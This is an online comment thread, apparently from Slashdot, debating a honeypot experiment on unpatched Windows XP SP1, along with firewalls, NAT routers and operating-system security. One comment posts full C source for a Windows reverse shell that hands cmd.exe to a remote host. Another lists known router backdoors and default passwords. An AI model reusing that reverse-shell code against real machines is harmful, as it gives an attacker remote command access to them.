"Most scans and penetration efforts are conducted via zombie machines, and shutting down infected users who probably haven't the faintest clue what's going on just isn't worth the headache it causes ISPs."

I run a small ISP. When I see a computer on my network with a virus on it, I block it's access and inform the customer to fix it. I don't allow it access to the network until it's fixed.

I also firewall almost everything and open ports on a one by one basis. If someone wants to play a game, I open ports to their system only.

I'm doing my part to make the internet better.

4 simple words:

[sniepre]

Turn. Off. Unused. Services.

The most hilarious thing to me when someone gets hacked is looking at their box and a simple nmap shows every port under gods lcd monitor open.

Re:4 simple words:

[funkmonkeyfunk]

This is a great first step, but the fact is that major exploits *do* exist in "Used Services'" processes, and not just the unused ones.

And, albeit poor network design and almost always a move forced by underfunding and low budgets, sometimes insecure services must be offered locally on the same nic that connects to the internet. Hence the firewall's usefulness...

On the other hand, you are right, the people that don't take that simple step and leave vulnerable services/ports open to the internet get exactly what they deserve... a good hax0r-ing!

Re:4 simple words:

[node 3]

Turn. Off. Unused. Services.

Those are good words for OS makers and sysadmins. It's very poor advice for home users, because the target audience can't be assumed to understand what that means. The OS really needs to be designed with this in mind. MS fails on that miserably, crossing into the realm of liability for damages IMO.

The most hilarious thing to me when someone gets hacked is looking at their box and a simple nmap shows every port under gods lcd monitor open.

That can only be funny if they should have known better. That's not something your average XP user can realistically be expected to even have the slightest of clues on.

Re:4 simple words:

[gonaddespammed.com]

god doesn't use LCD, he's got holographics to the max. Have you ever tried turning off services on a Windows box, it's a nightmare. It's easy in *nix.

Re:4 simple words:

[ceeam]

Beware though that at least for Windows it's pretty hard to tell what you can turn off safely and what will happen if you do turn it off. Examples: turning off "Task Scheduler" turns off prefetching mechanisms. Did you know? Turning off "Windows Management Instrumentation" reliably leads to GPFs when you go to "Firewall" tab of a Dial-Up connection (pre-SP2 anyway). Did you know? Etc.

Re:4 simple words:

[dbIII]

Some more:

Don't let idiots set up all 60 mail users with the right to run a shell, enable telnet and install a compiler. The loser who has "coffee" as a password lets someone get in easily and the box gets rooted.

We can't be complacent - if a machine is not set up properly it doesn't matter what the OS is - you can take the most secure default install possible and still turn it into an easy target if you don't know what to do.

Re:4 simple words:

[Anonymous Coward]

When I started with linux -- SLS with kernel
0.99pl13 -- life was simple. It took several
days to install (from 50+ floppys) and configure,
but in the end, you had a 486 that looked like,
and almost performed like a SUN workstation.

This was in the early 90's, when Usenet ruled,
and the web was in its infancy.

Back to the topic ...

As a current Slackware user, my hosts.allow
file lets anyone on my localnet (192.168.0.x)
to play, but everyone else (via hosts.deny)
is denied.

If I am not running a server (Apache, telnet,
ftp, ...), can I be hacked/rooted ??

Re:4 simple words:

[Just Some Guy]

The most hilarious thing to me when someone gets hacked is looking at their box and a simple nmap shows every port under gods lcd monitor open.

One of our customers was complaining that our mailserver was bouncing the messages they were trying to send to us. Sure enough, Postfix was reporting an inability to resolve their domain (and we reject such mail - if we can't reply to you, we don't want your messages). We knew that they self-hosted their DNS, and after a coworker came to my office to discuss the matter, I nmapped their server to see if the service was running.

Our jaws dropped when we found about 50 running, accessible services on the machine - including file sharing, Oracle (!!!), IPP, an open web proxy (I used curl to fetch Slashdot's front page through it), and everything else IIS has to offer.

We told them that we thought they needed a firewall, and to have their sysadmin contractors take a look at their other security settings (or lack thereof). Other than that, we're not touching their network again for love or money. When they finally discover that they've been pwn3d by 147 different crackers, I don't want our IP in their logs or them to know that we scanned their machine one time.

Re:4 simple words:

[biz0r]

Well, yes, actually. hosts.[allow/deny] only denies access to services which are run through inetd. Thus any service which is not controlled by inetd is not filtered by the hosts.[allow/deny] files. That would leave apache, sendmail, sshd, etc...all of which have or have had exploits out for them in the recent past.

ross is interesting

[WindBourne]

This is not his first article. He is busy learning about Linux and OSS. You will see more articles coming from him as he dispels more FUD.

Re:Now open sendmail and config it.

[baomike]

>

Are you sure you can handle numbers that big.
Sendmail can be a bank vault or an open door.
It is up to you. The recent default mode seem closer to bank vault than open window.

Virus Scan

[null etc.]

SP 1 was attacked 4,857 times. It was infested within 18 minutes by the Blaster and Sasser worms. Within an hour it became a "bot," or a machine controlled by a remote computer, and began attacking other Windows computers.

From what I remember in Tron, this visually looks very cool. Digital warriors fighting on a neon grid, etc.

I'm pretty stumped, though. I tried to get my box pwned eight times, just to see the digital battle. I thought at the least Norton Antivirus would sent a digital probe destroyer bot out to eradicate the trojans. But all that happened was my computer got really slow, and pop-ups kept showing up, advertising herbal virility pills for men.

Come to think of it, Hollywood movies never seem to match up with what my computer does. That's it, I'm going to stop believing them movies and start reading Wikipedia instead.

Re:Virus Scan

[Jedi Alec]

Try the Tron 2.0 game, quite entertaining indeed :-) Although in most of the game the destroyer bots are after you, the player, even when you're running around in your own desktop pc...

Re:Virus Scan

[DarKry]

http://hackers.darkry.net -- nuff said

Re:Virus Scan

[Farmer Tim]

You need CoreWar.

"SP 1 is not a current operating system"

[chrisbtoo]

"SP 1 is not a current operating system," said Sundwall. "It doesn't surprise me that it only took 18 minutes to get infected."

Ah, but would it have surprised him when it was still current? ISTR that back then, the time was a far more robust 20 minutes.

Re:"SP 1 is not a current operating system"

[Minstrel Boy]

Jaguar isn't a current operating system either, Panther has been out since ?10/03?, and Tiger is supposed to be released within the next quarter.

KeS

What, no BeOS?!?

[Snommis]

Bet no attacks would bother a BeOS box! Seriously though, these tests are still pretty much bull. It's like leaving the keys in the ignition of an unlocked Lexus, in the bad part of town, then being shocked when someone takes it...

Re:What, no BeOS?!?

[Electroly]

BeOS doesn't *need* any attacks. Let it sit for a few hours and net_server will crash itself. :-)

Re:What, no BeOS?!?

[gl4ss]

will it?

when i used to run it it would run for months.

but more seriously.. what's there to exploit in it?

SP1 Earns a pass?

[salemlb]

According the article, no one was all that surprised Win XP SP 1 went down in 18 minutes. After all, it is not up to date... it is essentially an old OS, right? So this is expected, right? Old OSs should be broken into, right? And then we have OS X 10.2, aka, Jaguar. No successful attacks. Older OS, check. Not up to date with all the latest security features that are in Panther, check. And not one successful attack. One company makes on OS that still stands after two and a half years... one company makes an OS that only stands after a major major major patch and constant updates that sometimes break software. Now, which company's OS would I choose to build a secure network? Sure, it's a flawed argument, but still I think worth noting.

Re:SP1 Earns a pass?

[Lars T.]

So where did those 3 attacks come from? Were there three automated attacks - which "don't make economic sense"? Or were these from idiots who somehow knew they attacked Macs but simply didn't know how to do it properly?

Face it, somebody did try to hack some anonymous Mac on the net, and despite "easily exploited remote root exploits" failed.

Re:You know what I'd like to see...

[Strenoth]

The article said that none of the attacks on any system except WinXP SP1 were succesful

"But in the end, none of the attacks were successful."

Ixna

[WindBourne]

First, comcast (with qwest be the 2'nd to last) is one of the last companies that I would trust. 2'nd, I do not use a NAT/firewall from the outside. I have several exposed boxes that do great jobs year after year. The last thing that I need is for a bunch of screw-ups to tell me how to run a secured system. As to all the insecured boxes out there, they can switch to Apple, Linux, or BSD. They do not have to be running windows.

Re:Ixna

[NanoGator]

" The last thing that I need is for a bunch of screw-ups to tell me how to run a secured system. "

So? Don't use what they provide. In the mean time, lots of people are unprotected because they simply don't know.

Re:Ixna

[Have Blue]

Fine- you're competent enough to confidently run exposed boxes, you're competent enough to call up the company and tell them exactly how you want the connection to be configured. But why shouldn't everyone else be secure by default? If they don't know how to protect themselves from viruses and install patches, they probably aren't going to care about not being able to run servers.

Re:Ixna

[WindBourne]

I am all in favor of them being secure.

But running a firewall does not do that. The windows boxes still use IE and outlook. Their very nature all but gaurentee that the box will be infected unless set up correctly. Do you trust a company that has lost major parts of their backbone several times over the course of the last 2 years due to virus/worms on their Window's boxes to handle a massively increased load? I do not.

Quite honestly, they would do well to set up some honeypots and simpyl isolate the machines that are infected. But they do not.

Re:Ixna

[kyhwana]

Comcast (at least in the northwest) blocks ports 135-139 and 445 at the modem so blaster/etc don't get out. This also stops your neighbours being able to see/hack your network shares.

firewall..

[Cryptnotic]

First of all, you should be behind a firewall that disallows incoming connections to almost everything. Even if you're not, FC3 has a kernel firewall enabled that blocks just about everything.

As for the packages, who cares if they're just sitting on your HD taking up space?

For a server machine "outside the wall" it's important to keep things as lean as possible. But for your desktop machine, who cares?

Re:firewall..

[cold fjord]

But for your desktop machine, who cares?

Everybody should for two reasons:

One: Minimizing your configuration to have only what you need is a basic security principle. Software that isn't installed doesn't have to be patched, configured, audited, and otherwise watched. This is more important considered in light of item two.

Two: You should use good security practices on all systems / devices to establish a defense in depth. You are begging for trouble if your entire security plan is: use a firewall. All it takes for your maximum software machine to be owned is for a new exploit to come out that your firewall doesn't block, or a trojan that you let through. That may not happen often, but it does happen.

If you don't use it or need it, get rid of it, and then patch, properly configure, maintain, and audit the rest.

Re:firewall..

[m50d]

No. If you need a hardware firewall that's a bad system. It shouldn't be required.

Re:firewall..

[Loligo]

>First of all, you should be behind a firewall >that disallows incoming connections to almost >everything.

...which would also protect your unpatched Windows XP machine while you download Service Pack 2.

-l

Geeks hate them, but...

[fm6]

There should always be a router between any personal system and the Internet. Not a kludgy firewall/filter, mind you, but a simple NAT-translation router that puts your machine in a private address space. Hackers can't hack what they can't get to.

OK, running P2P software is a slight hassle, but it isn't that hard to expose ports on a case-by-case basis. Certainly a lot simpler than fucking around with firewall softare.

Since a good firmware-based router costs less than a full suite of security software, this is a no-brainer.

Of course, it doesn't work with the "Spirit of the Internet" that says that every system on the net can provide services to or use services from any other system. But you know what? That "spirit" is long gone -- it only worked when the Internet was an academic toy.

Re:Geeks hate them, but...

[BMojo]

"But you know what? That "spirit" is long gone -- it only worked when the Internet was an academic toy."

When you have a bunch of secure boxes, suddenly it becomes a good idea to give every node a unique ip. IPv6 will hit mainstream sometime to allow this, its best to have the freedom to choose.

Re:Geeks hate them, but...

[geminidomino]

I agree with you 100%. I never could get my mind wrapped around the concept of a "software firewall." If the point of a firewall is to keep bad stuff OUT of your computers, then counting on ZoneAlarm et al. is akin to wearing a bulletproof vest-on the inside.

In a pinch, end lusers can throw on a craptacular NAT/router box from DlinkSysGear. All of them have simple little panels for forwarding ports so they can trade their pr0n warez.

My approach of choice was a dedicated FreeBSD firewall. It served exactly 2 purposes: packet filtering/connection management (c.k.a. firewall stuff) and liedentd (seemed silly to forward a port for a daemon that just spit out a random string of characters.)

I've since retired Big Deb the firewall, moving to a dedicated m0n0wall box... sooo sweet.

Re:Geeks hate them, but...

[Anonymous Coward]

Hackers can't hack what they can't get to.

That certainly keeps out all the spyware and email worms, and definitely prevents browser hijacking.

Oh, you meant *old-school* hackers who use active instead of passive attacks? Who does that anymore? I have heard that blackice firewall really is a superb security addition to any home PC, though.

Re:Geeks hate them, but...

[billatq]

There should always be a router between any personal system and the Internet. Not a kludgy firewall/filter, mind you, but a simple NAT-translation router that puts your machine in a private address space. Hackers can't hack what they can't get to.

Actually, that's not quite correct; take a peek at rfc2663: http://www.faqs.org/rfcs/rfc2663.html. In a somewhat roundabout way in the security section (Section 9), it says not to use it as a "Firewall", but rather in conjunction with a firewall.

The reason for this is that if someone spoofs an address in your nat range, it pass through unfiltered. Bottom line is to not rely on NAT alone for a firewall; always use it in conjunction with real filtering. Thankfully most consumer boxes will do this already, so it's practically a moot point.

Re:Geeks hate them, but...

[Beryllium Sphere(tm)]

>Hackers can't hack what they can't get to.

Assuming your router doesn't have an undocumented backdoor password like the NetGear WG602. Or a no-password remote administration interface on port 1900 like SMC used to have (fixed in June 2004 firmware). Or remote administration on port 5678 even when you disable remote administration (Linksys, 2002). Or a Telnet interface with a password of "private" (DLink ADSL routers as of 2002). Or a remote backdoor on port 254 (any DSL router with the Conexant CX82310-14 chipset with firmware 3.21). Or remote web administration with a factory default password (X-Micro WLAN).

And assuming the firmware doesn't have any subtler bugs than that.

And assuming you don't open a "DMZ" which in reality doesn't segment your LAN.

Of course, your point was that routers are a necessity, which is generally correct. But there have been too many scandals for comfort. A Soekris box or some other small box running pf offers code you can trust and the flexibility to offer services to the world.

Re:Geeks hate them, but...

[Anonymous Coward]

BlackIce is a superb software firewall. I never setup a server without it.

Although if you use application protection, it can get annoying (but in a good way) if you forget to turn it off before attempting to install new software or patches :)

Re:Geeks hate them, but...

[DarKry]

#include
#include
#include
#include

int main (int argc, char **argv) {
struct sockaddr_in sin4;
int sox;
sin4.sin_family = AF_INET;
sin4.sin_port = htons(atoi(argv[2]));
sin4.sin_addr.s_addr = inet_addr (argv[1]);
WSADATA wsadata;
WSAStartup(0x101, &wsadata);
sox=WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_IP, NULL, 0, 0);
connect ( sox, (struct sockaddr_in *)&sin4,sizeof(struct sockaddr_in));
SetStdHandle(STD_INPUT_HANDLE,(HANDLE)sox);
SetStdHandle(STD_OUTPUT_HANDLE,(HANDLE)sox);
SetStdHandle(STD_ERROR_HANDLE,(HANDLE)sox);
system("cmd");
}


All your bases are belonging to meh

Re:Geeks hate them, but...

[m50d]

This is crap. Any decent system is perfectly safe outside a firewall. The amount of ports I need exposed, I'd fill up my rule table allowing them case-by-case. If a system needs a firewall, there are only two things to blame: the OS maker, and the makers of any services you enabled manually.

Re:Geeks hate them, but...

[arevos]

Or a Telnet interface with a password of "private" (DLink ADSL routers as of 2002)

It is my understanding that the telnet port isn't accessable outside the local network for D-Link routers. However, if you have evidence to the contrary, I'd really like to know :)

Re:Geeks hate them, but...

[DavidTC]

Um, he said the hardware was buggy, not the software.

Re:Geeks hate them, but...

[fm6]

So all you have to do is make every single machine on the Internet totally secure from hacking. No weak passwords, so stolen authentication, no unpatched security holes. Yeah, that's easy.

Re:Geeks hate them, but...

[fm6]

You do make a good point. But the do-it-yourself alternative (and that includes Soekris boxes) is not practical for most people. Though I suppose paying some geek you trust to set up a box for you is possibly more secure than buying an off-the-shelf box from a faceless company. Leaving two issues: How do you find a geek you can trust? (That friendly guy next door might disappear tomorrow, whereas Cisco will always be around to sue.) And how much extra are you willing to spend for that extra measure of security?

Re:Geeks hate them, but...

[fm6]

I can't seem to find anything about address spoofing in the RFC, and I'm not at all clear on how it would work. Perhaps you could amplify and/or point to specific passages in the RFC.

The authors of the RFC makes some general statements about using firewalls in conjunction with NATs, but I don't see any strong arguments for them.

Perhaps there's some miscommunication here, due to that frustrating word "firewall". This strained analogy with masonry firewalls used in construction has been applied to all kind of boundry networking technology -- including NATs. Perhaps for the purpose of this discussion we should talk about "filters", which is how the RFC seems to use the term.

In any case, I'm not going to claim that NAT routers are a cure-all for security problems. But they do do one thing extremely well -- they prevent people from scanning ports on your system. Which is where this discussions started.

Re:Geeks hate them, but...

[fm6]

Sorry, we can't hire a programmer who doesn't document his source code. Good luck with your job search.

Re:Geeks hate them, but...

[fm6]

So the real issue is not securing your system, it's finding someone to blame? Whatever.

Re:Geeks hate them, but...

[fm6]

When you invent the security measure that works agains everything, be sure to let the Nobel comittee know.

Re:Geeks hate them, but...

[fm6]

OK, another assertion that a firewall is required -- without any explanation as to why. Although I suppose security blankets are always useful.

Kablamo

[dauthur]

"Honey pot" experiment shows unprotected Windows SP 1 at risk

Any version of Windows with any amount of service packs and/or updates is a scary thing to be online with. It's like having a grenade launcher in close-quarter combat. Boom.

Re:Kablamo

[evanbd]

It's like having a grenade launcher in close-quarter combat. Boom.

Yeah, but at least the grenade launcher is effective...

Has he ever used a computer?

[Anonymous Coward]

With quotes like:

"Microsoft is racing to roll out its new Longhorn operating system in 2006.

But for the moment, it's sticking with Windows, for which it rolled out a new patch Tuesday."

I don't think so.

99% of incoming attacks...

[chill]

Can be avoided by plugging in a hardware firewall that does NAT between the cable/DSL modem and any computers. Operating system be damned.

I've seen Linksys BEFW's go for $10 on E-Bay.

Or go whole hog and get the Motorola SURFboard SBG900, combination DOCSIS 2.0 cable modem/wireless-G AP/firewall.

-Charles

Re:99% of incoming attacks...

[farmhick]

I have dial up, you insensitive clod.

*nix will be a major target of worms in the future

[Kip Winger]

Despite Linux being hardened, its basis still is Unix -- which, from the beginning, was coded with such grevious insecurities, such as using a blank gets() at the beginning of crucial protocols. Worms ripped apart Unix in the 80s, and despite what has been hardened since, the methodologies which ripped Unix apart in the 80s mostly are still being used in Windows development.

Microsoft might have something with Windows Longhorn, since the entire API outside of the kernel will be written in C# completely sandboxed in a CLR, much like Java.

Combined with a monolithic auto-update system, Microsoft has no intentions of repeating the problems of Windows 2000/XP when they release Longhorn, much like they had no intention of repeating the problems of stability they had with Windows 95/98/ME when they designed Windows 2000/XP. For as much as they do, they mostly won with stability in 2000/XP, and they could win again, despite their market share, by sacrificing RAM (480MB commit charge, 1GB recommended) and processing power by implementing the .NET framework for their entire API.

I honestly hope open source has something to compete for their future desktop environments, or else desktop Linux could be relegated to processors too slow to deal with the overhead.

Gotta love your spyware programs for Windows

[PinkX]

From TFA: "Experts say spyware programs are also necessary for Windows users. Microsoft is offering a free beta version of its spyware program at www.microsoft.com/athome , and Webroot is offering its spyware program free to Colorado residents through April 15 at www.webroot.com Free spyware programs are available at www.download.com"

Of course Claria/Gator is also offering a free version of their spyware program, and it's not beta - it's an official, stable release, available to users from all over the world, and with no date limits!!

There are also other known spyware providers out there, all you have to do is to search the web for some pr0n and warez, and there you go.

Re:Gotta love your spyware programs for Windows

[_iCeb0x_ (1337 and k]

Damn! I just saw that and then I see someone else has already posted in advance. Doh!

Suspicious?

[LokieLizzy]

I wonder if the 43,000+ scans came from 43,000 Windows machines already infected with trojans...

Re:Now open sendmail and config it.

[innosent]

Agreed, for instance, the default configs with FreeBSD 5.x are so secure, you can't even send mail from your own system. You can send between users, but that's it, no relays, no outbound of any kind. Of course, it would be nice if people who only need one element of sendmail (sending mail, not receiving it) would realize that a full-featured mailer daemon is overkill, and an invitation for problems. If all you need is something that can send alerts (like from your non-mail servers), use something like sSMTP, a sendmail workalike that can only send mail through your real mail server (even outside accounts, it can handle servers that require authentication). Don't blame sendmail for giving you a headache on 50 systems, when you should never have turned it on in the first place.

Read your comment

[Penguinoflight]

You didn't introduce any new insight, this idea has been known for years here on slashdot and it seems to be addressed in the article as well. The fact is, this statement doesn't help anything. Even if insecurity was only dependent on targeting windows would still not be an optimal platform just because of MS practices and ideology.

So what they're saying is...

[The Master Control P]

If you're gonna put your system on a direct connection to the internet, you should use a secure operating system. And implicitly, if you want that operating system to go more than 2 months between r007ings, you should lock it down.

Nothing us geeks don't already know. Anyway, I can belive 6 systems got attacked 40 thousand times in one week. I check my own system logs often enough, and there's usually some inbound packet on a disallowed port dropped every 10 to 40 minutes. Usually two or more attempts or blocks of attempts to login via ssh every day. Probably 10+ malformed GETs a day in the Apache logs. And this is my little residential gateway that gets about 4 legitimate hits to it's Apache server (which I'm not supposed to run) per day. That's about 250 attacks per week per server, or close to 1500 for 6. Take a website with non-trivial traffic, and it's easy to reach 40K/week. Since I'm pretty sure that DenverPost.com gets more than 25x my traffic, I'm suprised it was only 40K.

Other than saying that a lot of shit flies around the internet, the article was very skimpy on details. Not suprising, since an article that explains what a 'worm' and a 'virus' is is obviously not aimed at 1337 geeks. But it would have been nice to know what's installed on them.

For example, was it a full server install of Linux? (CUPS, httpd, ftpd, ntp, ssh, sendmail, etc?) Or just a minimal install with no server software installed a la home Windows? Quite a difference. How long would either of the Windows machines have lasted if they'd had Microsoft's server software installed too? Check secunia.com for Windows XP home, IIS 6, or SQL Server - It seems that ~1/4 of the known security holes in Microsoft's software are always unpatched. Contrast that with Apache, proftpd, Mysql 4, cups, OpenSSH, and Sendmail, which on Secunia currently share 10 vunerabilities between them all (9 of them 1/ or 2/5 for severity, and one 3). Of the 3 tested Linux OSes, Red Hat 9 has one not-critical vunerability listed.

It is certainly possible to make a Windows server or desktop reasonably secure, but compared to comparably securing a Linux server or desktop, would seem to require a monumental effort. And it's not just that Linux is more configurable - The FOSS community (judging by open holes) has done a far better job patching their software than MS.

Well, off to overdose on the Numa Numa Dance...

Re:So what they're saying is...

[innosent]

Every 10-40 minutes? What subnet are you on, post it here so maybe the botnet/trojan/virus writers can spend part of their time attacking you, and not me. My /24 gets hit 10-40 times a minute, not once every 10-40 mins. Hell, I still get hits from Slammer at least once a minute. Of course, our T1 is on sprintnet, which probably tends to be more popular for attack.

Re:So what they're saying is...

[vivek7006]

While it's important to respect your children's privacy, understanding what your teenager's online slang means and how to decipher it is important as you help guide their online experience. While it has many nicknames, information-age slang is commonly referred to as leetspeek, or leet for short. Leet (a vernacular form of "elite") is a specific type of computer slang where a user replaces regular letters with other keyboard characters to form words phonetically--creating the digital equivalent of pig Latin with a twist of hieroglyphics.

Leet words can be expressed in hundreds of ways using different substitutions and combinations, but once one understands that nearly all characters are formed as phonemes and symbols, leetspeek isn't difficult to translate.

Key points for learning leetspeek

Numbers are often used as letters. The term "leet" could be written as "1337," with "1" replacing the letter L, "3" posing as a backwards letter E, and "7" resembling the letter T. Others include "8" replacing the letter B, "9" used as a G, "0" (zero) in lieu of O, and so on.

Non-alphabet characters can be used to replace the letters they resemble. For example, "5" or even "$" can replace the letter S. Applying this style, the word "leetspeek" can be written as "133t5p33k" or even "!337$p34k," with "4" replacing the letter A.

Letters can be substituted for other letters that may sound alike. Using "Z" for a final letter S, and "X" for words ending in the letters C or K is common. For example, leetspeekers might refer to their computer "5x1llz" (skills).

Rules of grammar are rarely obeyed. Some leetspeekers will capitalize every letter except for vowels (LiKe THiS) and otherwise reject conventional English style and grammar, or drop vowels from words (such as converting very to "vry").

Mistakes are often left uncorrected. Common typing misspellings (typos) such as "teh" instead of the are left uncorrected and may be adopted to replace the correct spelling altogether.

Non-alphanumeric characters may be combined to form letters. For example, using slashes to create "/\/\" can substitute for the letter M, and two pipes combined with a hyphen to form "|-|" is often used in place of the letter H. Thus, the word ham could be written as "|-|4/\/\."

The suffix "0rz" is often appended to words for emphasis or to make them plural. For example, "h4xx0rz," "sk1llz0rz," and "pwnz0rz," are plural or emphasized versions (or both) of hacks, skills, and owns.

It's important to remember that the leetspeek community encourages new forms and awards individual creativity, resulting in a dynamic written language that eludes conformity or consistency. However, there are a few standard terms. The following is a sample of key words that haven't changed fundamentally (although variations occur) since the invention of leetspeek. The first series is of particular concern, as their use could be an indicator that your teenager is involved in the theft of intellectual property, particularly licensed software.

Leet words of concern or indicating possible illegal activity:

"warez" or "w4r3z": Illegally copied software available for download.

"h4x": Read as "hacks," or what a computer hacker does.

"pr0n": An anagram of "porn," possibly indicating the use of pornography.

"sploitz" (short for exploits): Vulnerabilities in computer software used by hackers.

"pwn": A typo-deliberate version of own, a slang term used to express superiority over others that can be used maliciously, depending on the situation. This could also be spelled "0\/\/n3d" or "pwn3d," among other variations. Online video game bullies or "griefers" often use this term.

Re:So what they're saying is...

[The Master Control P]

It's probably because I've got one IP on a residential ADSL line - If I had 256 IPs, you can calculate how much larger of a cross section that presents.

Oh, and I'm getting a lot more worm probes and the like on odd ports this afternoon - I only checked the last few hours of logs when I posted last night around 10PM pacific time. Now it's averaging like 3 minutes between dropped packets.

Re:So what they're saying is...

[innosent]

Yeah, the major problem we have though is that our particular class A SprintLink subnet is pretty dirty, so I probably see a larger than usual number of attacks from worms with subnet affinities, like Blaster, Slammer, etc. I used to log them all, but it just got so rediculous that I couldn't even read the logs for important information. About the only things I look for on a regular basis are odd UDP attacks and access to critical public servers (which we do anyways to know exactly where our employees are when they check in, you'd be amazed how many clock in for their first stop at a location 50 miles away). Everything else is blocked, with the backend stuff all on a separate physical circuit.

Are you all retarded?

[Anonymous Coward]

NO ONE stops to think that there's just millions more Windows computers out there? Windows got the most attacks because there's MILLIONS more potential sources of attack. Those millions more units mean it's more worthwhile to hack Windows, because there's tons more systems at stake. So, a majority of hackers on the web are working on a base of computers whose OS absolutely dominates the marketplace.

I wonder why it tends to be "less secure" in the end... GET A CLUE! This test barely reflects anything other than Microsoft's market share, no matter how hard you want to tilt it in your own direction.

Not to mention the line "The good news is that none of the up-to-date, patched operating systems succumbed to a single attack." That. Includes. The up-to-date. Windows box. Too. Which suffered LOTS more attacks (again, more units, more at stake) and withstood them all- meaning it was technically MORE secure because it withstood harsher testing and came out unscathed.

Re:Are you all retarded?

[teamhasnoi]

All I see is a OS that is insecure out of the box, ships with every port wide open, and makes decisions for the user that are not in the best interest of security or usabillity.

How many boxes running Windows need to be owned before MS patches a hole? God only knows - zillions?

How many OS X boxes? None. Yet Apple dilligently fixes them anyhow.

I can't think of any story of an OS X box that has ever been remotely hacked. If you have one that is confirmed (by that I mean, not a random error message or oooh! VNC!), I'd love to hear it.

So, color me retarded. (What is that, a nice brown?) I *don't* worry about my OS X boxes, while my pal is on his 2nd Windows reinstall this week.

But I guess I am retarded. RETARDED LIKE A FOX!

Re:Are you all retarded?

[Nintendork]

That's funny. I administer about 100 Windows boxes and none of them have been compromised in the two years I've been with the company. That's 2000 and XP. Out of the box, Windows XP SP2 is not open to the Internet. If the computer is a member of a workgroup, it's open to its local subnet and that's all. If it's a member of a domain, the administrator can use group policy to configure it any way he/she pleases. In fact, when it comes to patches, a proper group policy will have all Windows XP boxes (Even with no service pack) and Windows 2000 (As of SP3 I believe) updating automatically. I configure some basic settings from the server and all the computers in our organization get the settings.

Congratulations on your narrow minded, immature, emotional "M$ is the Devil" reaction. The reverse FUD is working....really. In the meantime, I'll just continue running a Windows network the way it should be run and not lose any sleep over it. So will most other business networks. And so will the workers who want to use the same thing at home that they use at work. All the talk about Windows being insecure out of the box for the home user is now past tense as of SP2. Soon enough, it'll be another outdated argument right up there with "Windows is unstable" and "What about backward compatability with DOS apps? They can't force users to upgrade!"

If the developers of other OSes want to battle with MS for market share, they should focus on developing the product and deliver all the new features that people feel is worth paying for the latest version of Windows. While they stand around shouting about a particular advantage, Microsoft is moving to take that away while creating many more advantages of their own.

-Lucas

Re:Are you all retarded?

[teamhasnoi]

Super cool about your 100 Windows boxes. It points to you being a competent admin. Of course, a competent admin wouldn't leave an unpatched XP box directly connected to the net. Yet there are countless XP boxes that are plugged right in. Why?

Because the majority of Windows boxes are run with Admin level privileges full time, by people who have a difficult time setting their microwave to the 'popcorn' setting. Does SP2 come slipstreamed in the box that I can buy at Walmart? Will the old 10.0 OS X be auto-hacked in 20 minutes? How many viruses does Windows support? How many does OS X?

Sure, new Dell-ightful computers will have SP2, some Norton thing, maybe some spyware removal stuff too. Why is everyone falling over themselves to pat MS on the back with the recent acquisitions of antivirus and antispyware software? Why not do it right to begin with?

I don't think MS is the Devil for making crappy, hole-filled software, or embracing and extending open protocols and formats, or using their market share to stifle competition, or pushing a DRM-laden vision, or patenting obvious things, or being a charter member in the BSA, or purposely breaking competing software, or EULAing their way out of responsibility, or creating Powerpoint; I think MS is an unfortunate sign of the times, and a giant bloated zombie corpseanimated by the devil. Why would I wait for new features in Windows, when I can use them 3-5 years before?

My post rambles, I am tired. Congrats on your happy Windows boxes; it's good to hear it can be done.

Re:Are you all retarded?

[toadlife]

Lucas,

That's great that you keep your Windows ship running rightly. I work in IT and we have a 1200 Workstation/30+ server/5 site Windows network with a few *nix boxes here and there. We do SUS, AV, deploy apps via group policy - the whole nine yards - a model windows shop if you ask me, but that doesn't take away from the fact that most Windows admins don't know a *damn* thing about computer/network security.

Let me ask you a question...do you run your computer as a local admin at work? A domain admin? Don't lie! I bet 90% of Windows admins happily run their boxes as domain admins at work. It's just too much trouble for them to shift-click and do a "run as" (or worse, they don't even *know about* "run as") when they want to open up ADUC.

Four years ago, our Exchange 5.5 server suddenly stopped responding. I went in to take a look and it was throwing all kinds of crazy error messages that I had never seen before. I did a virus scan on it and discovered that it was infected with the Klez virus.

Every executable on the machine (thousands of them) was infected. This was our f******g first in site Exchange server for Christ's sake! After hours of researching the virus, and scanning over and over again, I managed to clean the entire server. After getting it clean, tons of executables on the system that had been 'cleaned' were corrupted. I had to reinstall exchange 5.5. It was a nightmare.

Wanna guess how out first in site Exchange 5.5 server got infected with the Klez virus? Our f******g Exchange admin installed Outlook 97 on it and was using it to test out new email accounts while logged on as a domain admin account! Unf*****gbeleivable!!!! He had like 20 drives mapped while he was doing it, and he ended up infecting 3 other servers in the process.

After that I went to our boss, and told her what happened. I demanded that she make everyone who had privledged accounts create new accounts for themselves and start logging onto their machines as regular domain user accounts. After that I felt like the geeky hall monitor everyone hated, walking around asking my coworkers - you're not logged on as an admin are you? They ALL resisted this, but finally I got them to start practicing sane computing.

I've met MANY other windows admins that are the same way. They just don't understand security. We can thank the MCSE boot camps from the 90's for this. They turned out millions of monkeys, who now run many of our nations Windows networks.

The only way Microsoft can fix this is by putting the smack down on their users, and locking things up tight by default. They also need to make thing EASIER to do for the home user. As far as ease of use goes, they need MUCH more separation between their home/pro products.

As far as locking things down, they are starting to do the right thing with with XPSP2, and Server 2003. Another thing they have done that is excellent, is revise ALL of their official curriculum to where lab exercises are done while logged on as a regular user with the "Run as" command. Hopefully the MCSE monkeys from the 90's will slowly be weeded out, and things will get better on the corporate front. I am sent to Microosft training from time to time, and the oeverall security awareness of the people I train with has *slowly* gotten better over the last couple of years.

Anyhow, just because your network is clean doesn't take away from the fact that many corporate networks aren't and even more home Windows boxes aren't.

Re:Are you all retarded?

[Nintendork]

Spew about Windows being insecure out of the box.

I guess you didn't get my point.

"Trust me, without the competition, what there is of it, you'd be running WinME still."

Okay, you just lost any credibility by believing that 9x/ME is even close to the NT family. If I were stuck with a pre XP OS, I'd be on Windows 2000.

"Who is your boss?"

